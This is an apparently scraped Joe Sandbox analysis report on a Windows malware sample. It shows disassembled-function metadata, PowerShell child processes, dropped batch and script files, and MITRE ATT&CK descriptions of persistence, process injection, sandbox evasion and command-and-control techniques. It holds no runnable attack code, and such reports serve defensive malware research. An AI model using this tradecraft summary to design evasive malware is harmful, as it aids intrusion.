Function 00007FF6FD217EA0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF6FD212BAD), ref: 00007FF6FD217EC4
CharPrevA.USER32(?,?,00000000,00007FF6FD212BAD), ref: 00007FF6FD217EE0
CharPrevA.USER32(?,?,00000000,00007FF6FD212BAD), ref: 00007FF6FD217F04
CharNextA.USER32(?,?,00000000,00007FF6FD212BAD), ref: 00007FF6FD217F18

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 7302f258e324082df56eb9e906256855f42b6e92faf740384e3aaa5bd17368a5
Instruction ID: 59101deadafa39417c5e9e5bc2ff1f13c5b15197146197c9a11cb48003e5a02c
Opcode Fuzzy Hash: 7302f258e324082df56eb9e906256855f42b6e92faf740384e3aaa5bd17368a5
Instruction Fuzzy Hash: 1F115462A086C185FB514B15A604179BAD1A789FE4F48D270DB7EC37C5FF2DA84087C1

Function 00007FF6FD2188C8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FD2188D3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FD2188F2
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FD21893F
__raise_securityfailure.LIBCMT ref: 00007FF6FD2189B5

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2ccba7e9cb8161b6830b4bdced448ba4434f463bc3dcbbf20418d4b2244445be
Instruction ID: 044cf7c3729078dfd4beecaa7a26bd492a21cefd20f908af8cf144c05763418e
Opcode Fuzzy Hash: 2ccba7e9cb8161b6830b4bdced448ba4434f463bc3dcbbf20418d4b2244445be
Instruction Fuzzy Hash: DE21B039908B4682E7008B58F980369B3A4FB84B44F608136DAADC37A4FF7EE044D7C0

Function 00007FF6FD213C80 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF6FD213B49), ref: 00007FF6FD213CA4
PeekMessageA.USER32 ref: 00007FF6FD213CC9
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FD213B49), ref: 00007FF6FD213CEC
PeekMessageA.USER32 ref: 00007FF6FD213D0D

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 0e89c7557f5549cdd1f7fcb2b8838b8889091e68e9dc0b1ab03ce0efe7400e88
Instruction ID: 3bc90547298ab5f670fa3eef513c117e9d19b475700e9448d922305d35983312
Opcode Fuzzy Hash: 0e89c7557f5549cdd1f7fcb2b8838b8889091e68e9dc0b1ab03ce0efe7400e88
Instruction Fuzzy Hash: 24113732618642C7F7609F20E584B76AA91FB99745F44D134DB6AC29C4FF3EE148CB80

Analysis Process: powershell.exePID: 3724, Parent PID: 7120COMMON

Executed Functions

Function 00007FFAACB137B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1322837293.00007FFAACB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaacb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 66bd3851c009b8cb0ca557d91c266c57adb4f027c58b4d60d621eb615d728138
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: EE01677111CB0D8FDB44EF0CE451AA6B7E0FB99364F10056DE58AC3691D736E882CB45

Analysis Process: powershell.exePID: 2412, Parent PID: 3724COMMON

Executed Functions

Function 00007FFAACC11546 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

Ph7, xrefs: 00007FFAACC11573

Memory Dump Source

Source File: 00000005.00000002.1297087463.00007FFAACC10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACC10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffaacc10000_powershell.jbxd

Similarity

API ID:
String ID: Ph7
API String ID: 0-1163285174
Opcode ID: ff28976fc670ed3931281d460c340bd9166d8f5581a62c49fd7dfa3ed894ff91
Instruction ID: 71cad036612b9425456a36367915d77f9a0c65fe1a2adb6ab347d4c23bf00fe2
Opcode Fuzzy Hash: ff28976fc670ed3931281d460c340bd9166d8f5581a62c49fd7dfa3ed894ff91
Instruction Fuzzy Hash: BF7126A190EBC98FE3569B2858255647FE0EF57225B0941FFD08DCB1A3E9199C09C392

Function 00007FFAACC11191 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1297087463.00007FFAACC10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACC10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffaacc10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8740422c00d7edaf58b723b5f6ef9c91cce36fd043eb9c414cda97e2369ecf17
Instruction ID: 1b6fe66625ef0b9fb1a9fb3641bd8f01e1ca678ac110a24ba49475ec39497e30
Opcode Fuzzy Hash: 8740422c00d7edaf58b723b5f6ef9c91cce36fd043eb9c414cda97e2369ecf17
Instruction Fuzzy Hash: B4D12662A0EACA8FF7959F2948155B97BE1EF56320B4801BAD44EC75D3DE1CEC088381

Function 00007FFAACC112F0 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1297087463.00007FFAACC10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACC10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffaacc10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4858c6664cd53d2788adb5d7a684d1eef776cabee7fd27b69d2be7ef90e533
Instruction ID: 9b528f3ea6074e4626eb95436b82cc5a658048d183a0e3fb061690e26eb1fcf9
Opcode Fuzzy Hash: 0e4858c6664cd53d2788adb5d7a684d1eef776cabee7fd27b69d2be7ef90e533
Instruction Fuzzy Hash: 37412692E1FAC78FF7959B2948651B8AAD1EF52220B9801FAD44DC75D7DD1CEC088381

Function 00007FFAACB44325 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1296694598.00007FFAACB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffaacb40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction ID: 26bf2a83a72f8f91c4737660cb621628dedd36e1d6145b57966be5700d36b8ca
Opcode Fuzzy Hash: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction Fuzzy Hash: E001677111CB0C8FD744EF0CE451AA6B7E0FB99364F10056DE58AC3651DB36E891CB45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nTHivMbGpg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\124.bat

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0v4gvuu.crw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brg1lxea.r1u.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jarhvwm1.yb2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zg4arvxn.3qi.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
nTHivMbGpg.exe

Function 00007FF6FD2141B4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Function 00007FF6FD211D10 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 182
registrylibrarymemoryCOMMON

Function 00007FF6FD2115F4 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 375
memoryCOMMON

Function 00007FF6FD2168F0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF6FD212EDC Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Function 00007FF6FD216F14 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218
COMMON

Function 00007FF6FD215F80 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Function 00007FF6FD213214 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152
libraryfileloaderCOMMON

Function 00007FF6FD216710 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 121
COMMON

Function 00007FF6FD214838 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119
processsynchronizationCOMMON

Function 00007FF6FD212D70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 85
libraryloadershutdownCOMMON

Function 00007FF6FD212034 Relevance: 12.1, APIs: 8, Instructions: 121
filestringCOMMON

Function 00007FF6FD2163DC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Function 00007FF6FD2165A8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88
fileCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre